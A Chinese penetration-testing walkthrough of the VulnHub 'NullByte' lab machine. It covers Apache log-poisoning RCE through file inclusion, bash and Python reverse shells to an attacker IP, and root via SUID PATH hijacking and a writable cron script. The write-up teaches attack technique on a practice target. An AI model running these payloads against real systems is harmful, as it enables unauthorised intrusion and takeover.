从LFI到Root:一次完整渗透测试实战流程深度解析
1. 项目概述一次完整的渗透测试实战复盘最近在整理渗透测试的实战笔记翻到了几年前在VulnHub上练习的“NullByte”靶机。这虽然是一个老靶机但它的设计非常经典几乎涵盖了从信息收集、Web渗透、权限提升到最终获取Root权限的完整攻击链。对于刚入门红队渗透测试的朋友来说NullByte是一个绝佳的“练手”对象它能帮你建立起一个清晰的渗透测试思维框架。今天我就以从业者的视角详细拆解一下这台靶机的打靶思路不仅告诉你每一步“怎么做”更会深入分析“为什么这么做”以及在实际操作中可能遇到的“坑”和应对技巧。无论你是想巩固基础还是想学习如何将零散的知识点串联成一个完整的攻击流程这篇复盘都能给你带来启发。2. 靶机环境与核心思路解析2.1 靶机背景与目标设定NullByte靶机被设计成一个存在多个漏洞的Linux系统最终目标是获取系统的最高权限root shell。它模拟了一个典型的、防护措施不完善的Web服务器环境其中包含了过时的服务、配置错误以及不安全的代码实践。我们的攻击路径将遵循标准的渗透测试流程外围侦察 - 漏洞发现与利用 - 初步立足 - 权限提升。整个过程的精髓不在于使用多么高精尖的漏洞而在于对基础工具的熟练运用和对线索的敏锐串联。2.2 整体攻击路径预演在动手之前我们先在脑子里画一张“攻击地图”。根据经验这类靶机的常见入口点无非几个开放的Web端口80/443、有漏洞的服务如FTP、SMB、或者是隐藏的目录和文件。NullByte的突破口大概率在Web应用上。因此我们的核心思路可以概括为首先进行全面的端口扫描和服务识别定位Web应用然后对Web应用进行目录爆破和参数分析寻找注入点或文件上传点获取低权限shell后再在系统内部进行信息收集寻找提权漏洞如SUID文件、内核漏洞、计划任务等。这个思路是通用的适用于绝大多数CTF靶机和真实世界中防护薄弱的目标。3. 第一阶段外围信息收集与漏洞发现信息收集是渗透测试的基石做得越细致后续的攻击就越顺畅。对于NullByte我们需要像侦探一样不放过任何蛛丝马迹。3.1 网络扫描与端口探测首先我们需要找到靶机的IP地址。在VulnHub的虚拟机环境中通常使用netdiscover或查看ARP表来发现新主机。假设我们通过netdiscover -r 192.168.1.0/24发现了靶机IP为192.168.1.105。接下来使用Nmap进行全端口扫描和服务识别。这里不建议一上来就用-A这种激进选项可能会触发警报。我习惯分步进行# 快速扫描确认开放端口 nmap -sS -T4 192.168.1.105 # 针对发现的端口进行详细版本探测 nmap -sV -sC -p 发现的端口 192.168.1.105在NullByte上扫描结果通常会显示开放了80端口HTTP和111端口rpcbind。80端口是我们的主攻方向。-sC脚本扫描可能会揭示一些有用的信息比如服务器类型Apache、PHP版本等。注意在实际攻防演练或授权测试中扫描速度和频率需要根据规则调整。对于CTF或练习可以更全面一些。3.2 Web应用深度侦察发现80端口后我们打开浏览器访问http://192.168.1.105。初始页面可能看起来很简单甚至只有一个默认的Apache页面或一个简单的登录框。这时需要启动我们的“侦查武器库”。目录与文件爆破使用gobuster或dirb工具配合一个强大的字典如/usr/share/wordlists/dirb/common.txt或SecLists中的字典寻找隐藏的目录、后台登录页面、配置文件等。gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,log,bak这个命令会寻找常见扩展名的文件。在NullByte中你很可能会发现一个关键的目录比如/kzillion/或/phpmyadmin/这里以/kzillion/为例具体目录名以实际靶机为准。这个目录下可能存放着核心的Web应用。页面源代码审查不要只看页面渲染效果一定要右键“查看页面源代码”。开发者注释、隐藏的表单字段、内联的JavaScript都可能泄露关键信息。例如注释里可能写着“ ”或者存在一个隐藏的输入框input typehidden namedebug value1。参数分析与模糊测试对于发现的任何输入点如搜索框、登录框都要测试是否存在SQL注入、命令注入、文件包含等漏洞。可以使用Burp Suite的Intruder模块或者命令行工具ffuf进行参数模糊测试。# 测试GET参数id是否存在漏洞 ffuf -u http://192.168.1.105/kzillion/script.php?FUZZtest -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -fs 过滤掉的大小实操心得信息收集阶段最忌浮躁。有时候工具跑一遍没发现什么可能需要换一个更专业的字典或者手动尝试一些常见的路径组合如/admin//backup//config.php.bak。对于NullByte突破口往往就在这些“不起眼”的目录或文件里。4. 第二阶段Web渗透与初始访问通过深度侦察我们假设发现了/kzillion/目录里面有一个script.php文件它接收一个file参数看起来像是文件包含漏洞。4.1 漏洞验证与利用访问http://192.168.1.105/kzillion/script.php?fileindex.php如果页面正常显示而尝试../../../../etc/passwd时也返回了系统的passwd文件内容那么本地文件包含LFI漏洞就坐实了。LFI漏洞的利用方式非常灵活读取敏感文件我们已经读了/etc/passwd还可以读Web配置文件如/etc/apache2/sites-available/000-default.conf、日志文件/var/log/apache2/access.log、甚至应用程序的源码script.php本身通过PHP封装器php://filter。# 使用PHP封装器读取PHP文件源码避免被执行 http://192.168.1.105/kzillion/script.php?filephp://filter/convert.base64-encode/resourcescript.php返回的是一串Base64编码解码后就能看到script.php的源代码。仔细审计源码可能会发现其他隐藏参数或逻辑缺陷。日志文件注入实现RCE这是LFI漏洞升级为远程代码执行RCE的经典方法。原理是我们可以通过User-Agent或GET/POST参数将PHP代码注入到Apache的访问日志中/var/log/apache2/access.log然后通过LFI漏洞去包含这个日志文件服务器就会执行我们注入的代码。步骤一注入代码。使用Burp Suite或curl在请求中插入PHP代码。curl -A ?php system(\$_GET[cmd]); ? http://192.168.1.105/这个命令将一句PHP代码作为User-Agent发送该代码会被记录到access.log中。步骤二包含日志文件执行命令。http://192.168.1.105/kzillion/script.php?file/var/log/apache2/access.logcmdid如果成功页面会返回命令id的执行结果当前用户权限。4.2 获取反向Shell验证RCE成功后我们需要一个更稳定的交互式shell。最可靠的方法是使用netcat发起一个反向连接。在攻击机上监听nc -lvnp 4444通过漏洞执行反向连接命令 我们需要将一条反向Shell命令进行URL编码然后通过cmd参数执行。# 常用的bash反向shell命令 bash -c bash -i /dev/tcp/192.168.1.100/4444 01将其编码后通过漏洞触发http://...script.php?file/var/log/apache2/access.logcmdbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.100%2F4444%200%3E%261%27注意这里的192.168.1.100需要替换为你攻击机的真实IP。Shell稳定性处理获得的shell可能功能不全没有交互式提示、无法使用Tab补全等。我们需要对其进行升级# 在获得的shell中执行 python -c import pty; pty.spawn(/bin/bash) # 或者 script /dev/null -c bash然后按CtrlZ挂起在攻击机终端输入stty raw -echo; fg最后再执行export TERMxterm。这样就能得到一个功能完整的TTY shell了。踩坑记录在实际操作中目标系统可能没有安装netcat或者其版本不支持-e参数。因此掌握多种反向Shell的写法如用Python、PHP、Perl、甚至Telnet至关重要。例如Python反向Shellpython -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);。5. 第三阶段内部信息收集与横向移动拿到一个低权限的shell通常是www-data用户后我们相当于在城堡内部获得了一个落脚点。接下来要做的就是摸清环境寻找向更高权限root攀登的路径。5.1 系统基础信息枚举这是一套标准化的“内网侦查”动作我习惯写成一个简单的脚本来快速执行# 查看当前用户和权限 id; whoami # 查看操作系统和内核版本 uname -a; cat /etc/issue; cat /etc/*release # 查看网络连接和监听端口 netstat -antup; ss -tulpn # 查看进程列表找是否有以root运行的有趣服务 ps aux | grep root # 查看计划任务 crontab -l; ls -la /etc/cron*; cat /etc/crontab # 查看是否有密码或备份文件 find / -name *id_rsa* -o -name *backup* -o -name *.bak -o -name *.old 2/dev/null find /home -name *.txt -o -name *.log 2/dev/null # 查看SUID/SGID文件提权重点 find / -perm -us -type f 2/dev/null find / -perm -gs -type f 2/dev/null # 查看可写目录或文件 find / -writable -type d 2/dev/null | grep -v proc | grep -v sys在NullByte靶机中执行find / -perm -us -type f 2/dev/null可能会列出一个不常见的、具有SUID权限的二进制文件这就是我们提权的关键。同时在/home目录或Web目录下仔细搜寻可能会发现一些包含用户名、密码哈希或提示的文本文件。5.2 数据库与配置文件挖掘由于这是一个Web靶机数据库往往是信息宝库。查找数据库配置文件在Web根目录或其上层目录寻找config.phpdb_connect.php.env等文件。find /var/www -name *.php | xargs grep -l mysql_connect\|mysqli\|PDO\|password 2/dev/null尝试连接数据库如果找到凭据尝试用mysql命令行连接。可能发现存储的用户密码可能是明文或弱哈希。实操心得内部枚举一定要有耐心和条理。把输出结果保存下来仔细分析。有时候一个不起眼的.bash_history文件用户命令历史会泄露sudo密码或者SSH私钥的路径。在NullByte中关键线索往往就藏在某个用户的目录下或者某个配置文件的注释里。6. 第四阶段权限提升与Root获取这是最后也是最考验技巧的一步。我们需要把收集到的“碎片”拼凑起来找到那条通往root的道路。6.1 利用SUID二进制文件提权假设我们在上一步发现了一个具有SUID权限的可疑程序比如/usr/bin/某程序。SUID意味着任何用户运行这个程序时都会以文件所有者的权限执行通常是root。分析程序功能首先尝试运行它看看是干什么的或者用strings命令查看其中的字符串。strings /usr/bin/某程序在输出中寻找对系统命令的调用比如catlsfind或者对文件的读写操作。利用路径劫持如果这个SUID程序内部调用了另一个命令例如cat /home/user/file.txt并且没有使用绝对路径只写了cat那么我们就可以利用环境变量PATH进行劫持。原理系统在执行cat时会在PATH环境变量指定的目录中从左到右寻找名为cat的可执行文件。操作我们创建一个临时的可写目录在里面编写一个恶意的cat脚本内容为/bin/bash或/bin/sh然后修改当前会话的PATH让我们目录的优先级最高。# 在当前目录创建恶意cat echo /bin/bash /tmp/evil_cat chmod x /tmp/evil_cat # 修改PATH将/tmp放在最前面 export PATH/tmp:$PATH # 运行SUID程序 /usr/bin/某程序如果程序调用了cat它就会执行我们的/tmp/evil_cat从而弹出一个root shell。6.2 利用计划任务Cron Job提权另一种常见提权方式是计划任务。如果发现有一个以root权限定期运行的脚本并且这个脚本我们有写入权限或者它引用了我们有写入权限的文件我们就可以实现提权。查找不安全的Cron Jobls -la /etc/cron* /var/spool/cron/crontabs/ cat /etc/crontab仔细查看每个计划任务的内容看它执行的是什么脚本。利用通配符或脚本覆盖假设发现一个任务* * * * * root /opt/cleanup.sh而我们发现/opt/cleanup.sh这个文件我们www-data用户可以写入。那么事情就简单了echo cp /bin/bash /tmp/rootbash; chmod s /tmp/rootbash /opt/cleanup.sh chmod x /opt/cleanup.sh等待一分钟计划任务以root身份执行了这个脚本就会在/tmp目录下创建一个具有SUID权限的bash副本。我们运行/tmp/rootbash -p就能获得root shell。6.3 内核漏洞提权最后手段如果以上方法都行不通可以尝试内核漏洞提权。首先用uname -a查看内核版本然后在攻击机上搜索对应的本地提权LPE漏洞利用代码。# 在攻击机上使用searchsploit搜索 searchsploit linux kernel 版本号 privilege escalation重要警告内核漏洞利用风险极高可能导致系统崩溃蓝屏/死机。在真实生产环境或重要靶机上这是最后的选择。在NullByte这类练习靶机上通常会有更“优雅”的非内核提权方式。在NullByte靶机的实际案例中提权路径往往与一个自定义的SUID程序或一个配置错误的Cron Job相关。你需要将之前信息收集阶段发现的线索如某个奇怪的文件、一段数据库中的密码、一个可写的脚本路径结合起来构造出完整的利用链。7. 常见问题与排查技巧实录在实际打靶过程中绝不会一帆风顺。下面是我在打NullByte及类似靶机时遇到的一些典型问题和解决方法。7.1 Web漏洞利用失败问题LFI包含日志文件后执行命令无回显。排查首先确认日志路径是否正确。不同系统日志路径可能不同/var/log/httpd/access_log/var/log/nginx/access.log。其次检查注入的代码是否被正确写入日志。可以尝试包含日志文件本身看看我们的User-Agent是否被原样记录注意特殊字符可能被转义。最后尝试不同的PHP代码执行方式如passthru()exec()shell_exec()或者使用反引号。技巧使用Burp Suite的Repeater模块可以方便地修改和重放请求观察响应变化。问题反向Shell连接不上。排查检查攻击机防火墙是否放行了监听端口如4444。检查命令中的IP和端口是否正确。检查目标系统是否有出站限制虽然CTF靶机通常没有。尝试更换监听工具ncrlwrap ncsocat或反向Shell的payload尝试Python、Perl、PHP版本。技巧使用which python python2 python3查看目标系统有哪些解释器可用选择最合适的来构造payload。7.2 权限提升受阻问题找到的SUID程序无法利用。排查用ltrace或strace工具动态分析程序运行过程看它具体执行了哪些系统调用和库函数。# 可能需要先上传strace到目标机器或者目标机器已安装 strace /usr/bin/可疑程序 21 | grep execve这能清晰地看到程序执行了哪些外部命令以及它们的路径从而判断是否存在劫持可能。技巧不要只盯着明显的系统命令。程序可能调用了一些不常见的工具或者其本身逻辑存在缓冲区溢出漏洞需要更高级的利用技巧。问题计划任务提权不生效。排查确认脚本的修改时间用ls -la查看。等待足够长的时间至少两个周期。查看系统日志/var/log/syslog或/var/log/cron.log看计划任务是否有报错信息。技巧在写入的脚本开头加一句/bin/bash -c touch /tmp/testfile这是一个无害的测试命令可以快速验证脚本是否被以root权限执行。7.3 信息收集遗漏关键线索问题感觉枚举了一遍还是找不到头绪。排查回顾你的枚举命令是否全面。是否检查了所有用户的家目录/home/*/root/是否查看了所有.bash_history.ssh/目录是否用find命令搜索了所有包含“password” “key” “secret”字符串的文件find / -type f -name *.php -o -name *.txt -o -name *.conf 2/dev/null | xargs grep -l -i password\|passwd\|secret\|key 2/dev/null技巧有时候线索不在文件内容而在文件的权限和属性上。再次仔细检查find / -perm -4000 2/dev/null和find / -writable -type f 2/dev/null的输出特别是那些属于root但全世界可写的文件这往往是巨大的安全隐患。打靶就像解谜每一步都建立在上一步获得的信息之上。NullByte靶机设计的精妙之处就在于它引导你实践了一个非常标准的渗透测试流程。从外网扫描发现服务到Web目录爆破找到入口点利用LFI升级到RCE拿到shell再到内网枚举发现提权向量最终通过路径劫持或计划任务拿到root。整个过程环环相扣缺一不可。对于新手而言最大的收获不是记住某个特定漏洞的利用方式而是学会这种“侦察-利用-扩展”的思维方式以及面对问题时如何有条理地排查和解决。这才是红队实战能力的核心。

相关新闻

KaTrain围棋AI训练平台:KataGo引擎驱动的智能棋力提升系统

KaTrain围棋AI训练平台:KataGo引擎驱动的智能棋力提升系统

KaTrain围棋AI训练平台:KataGo引擎驱动的智能棋力提升系统 【免费下载链接】katrain Improve your Baduk skills by training with KataGo! 项目地址: https://gitcode.com/gh_mirrors/ka/katrain 围棋作为人类智力竞技的巅峰,传统训练面临着实时…

2026/8/6 6:49:02 阅读更多 →
LASSO回归实战指南:从原理到特征选择与模型解读

LASSO回归实战指南:从原理到特征选择与模型解读

1. 项目概述:从线性回归到LASSO的必然之路如果你做过数据分析或者机器学习项目,线性回归(Linear Regression)大概率是你的入门第一课。它简单、直观,用一条直线(或超平面)去拟合数据&#xff0c…

2026/8/6 6:48:01 阅读更多 →
Unity IL2CPP逆向实战:Cpp2IL工具原理、配置与自定义分析层开发

Unity IL2CPP逆向实战:Cpp2IL工具原理、配置与自定义分析层开发

1. 项目概述:为什么我们需要深入IL2CPP的“黑盒”如果你是一名Unity开发者、安全研究员,或者是对游戏机制充满好奇的“拆解爱好者”,那么你一定对Unity的IL2CPP编译后端又爱又恨。爱的是它带来的性能提升,恨的是它把原本相对清晰的…

2026/8/6 6:48:01 阅读更多 →

最新新闻

DeepSeek-V4-Pro API实战:与Claude、Kimi等大模型对比测试指南

DeepSeek-V4-Pro API实战:与Claude、Kimi等大模型对比测试指南

这次我们来看一个近期在开发者社区引发高度关注的技术事件:DeepSeek-V4-Pro 正式版的发布,以及它与其他顶级大模型如 Claude Fable5、5.6Sol 和 Kimi K3 的初步对比。对于关心大模型前沿动态、特别是关注模型推理能力、代码生成和综合性能的开发者来说&a…

2026/8/6 8:23:56 阅读更多 →
全周期资质服务,诊断到维护

全周期资质服务,诊断到维护

😎宝子们,今天来给大家聊聊企业全周期资质服务。对于企业来说,资质可是相当重要的,它关乎着企业的发展和竞争力。而全周期资质服务,就是从诊断到维护的一条龙服务,让企业省心省力。🌟选购要点&a…

2026/8/6 8:23:56 阅读更多 →
抖音聊天记录如何作为法律证据?秒档导出助手取证实战教程(附证据材料清单)

抖音聊天记录如何作为法律证据?秒档导出助手取证实战教程(附证据材料清单)

一、取证的困境:抖音上的证据怎么固定? 先讲一个真实的场景。 陈律师最近代理了一起案件:当事人通过抖音和诈骗分子联系,转账数万元,全部沟通都在抖音私聊里完成。要固定证据时,陈律师面临一系列难题&#…

2026/8/6 8:23:56 阅读更多 →
Godot游戏资源解包实战:从.pck文件原理到godot-unpacker工具使用

Godot游戏资源解包实战:从.pck文件原理到godot-unpacker工具使用

1. 项目概述:为什么我们需要一个Godot解包工具?如果你正在用Godot引擎开发游戏,或者对某个用Godot制作的独立游戏内部资源感到好奇,那你大概率会遇到.pck文件。这个文件是Godot用来打包游戏资源(场景、脚本、纹理、音频…

2026/8/6 8:23:56 阅读更多 →
百万缺口迫在眉睫:养老护理员短缺成高质量养老服务最大瓶颈

百万缺口迫在眉睫:养老护理员短缺成高质量养老服务最大瓶颈

导语:全国养老护理员缺口达百万级,供需失衡已危及基本照护保障据中国老龄协会及多份行业研究报告综合估算,截至2024年中,全国养老护理员缺口超过100万人。同期,我国65岁及以上人口达2.97亿,失能、失智老年人…

2026/8/6 8:23:56 阅读更多 →
117、Zephyr RTOS网络协议栈基础:MQTT客户端

117、Zephyr RTOS网络协议栈基础:MQTT客户端

Zephyr RTOS网络协议栈基础:MQTT客户端 上周调试产线上的一个温湿度采集节点,MQTT客户端连上Broker后,每隔十几秒就断线重连一次。抓包看了半天,发现是KeepAlive报文发送时机出了问题——Zephyr的MQTT库默认心跳间隔是60秒,而我设置的Publish频率是30秒,结果Broker以为客…

2026/8/6 8:22:56 阅读更多 →

日新闻

深入解析LimboAI C++内核:架构设计与性能优化实战

深入解析LimboAI C++内核:架构设计与性能优化实战

1. 项目概述:为什么我们需要深入LimboAI的C内核?如果你是一名使用Godot引擎的游戏开发者,尤其是对AI行为逻辑有较高要求的项目,那么LimboAI这个名字你大概率不会陌生。它作为Godot 4生态中一个备受瞩目的行为树与状态机插件&#…

2026/8/6 0:00:06 阅读更多 →
Unity 2D游戏敌人AI系统:基于PlayMaker状态机与2D Toolkit的实战开发

Unity 2D游戏敌人AI系统:基于PlayMaker状态机与2D Toolkit的实战开发

1. 项目概述与核心思路大家好,我是老张,一个在游戏开发一线摸爬滚打了十多年的老码农。今天咱们接着聊《空洞骑士》风格2D动作游戏的Demo制作。上一期我们搭好了基础框架,处理了角色移动和碰撞,这一期,我们要让游戏世界…

2026/8/6 0:00:06 阅读更多 →
被动防火门市场前景发展趋势

被动防火门市场前景发展趋势

被动防火门依靠材质结构、密闭构造阻隔烟火蔓延,无需电控启动,是建筑被动消防系统核心构件,行业依托新规管控、城市更新、工业安全升级迎来稳定扩容,整体朝着合规化、专项化、低碳化、智能化方向发展。现阶段 GB12955‑2024 新版国…

2026/8/6 0:00:06 阅读更多 →

周新闻

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

1. 从水管网络到最大流:一个核心问题的诞生想象一下,你是一个城市供水系统的总工程师。你的城市有多个水源(水库),需要通过一个复杂的地下管道网络,将水输送到各个居民区。每条管道都有其最大通水能力&…

2026/8/5 15:00:43 阅读更多 →
基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台…

2026/8/5 13:13:56 阅读更多 →
MATLAB xcorr函数详解:从互相关原理到四大实战应用

MATLAB xcorr函数详解:从互相关原理到四大实战应用

1. 从一次信号“找茬”说起:为什么我们需要互相关几年前,我在处理一组声学传感器数据时遇到了一个棘手的问题。我有两个麦克风记录了一段相同的音频信号,理论上它们接收到的声音波形应该非常相似,只是由于麦克风位置不同&#xff…

2026/8/5 10:20:36 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/5 23:28:39 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/5 21:00:14 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/5 23:46:51 阅读更多 →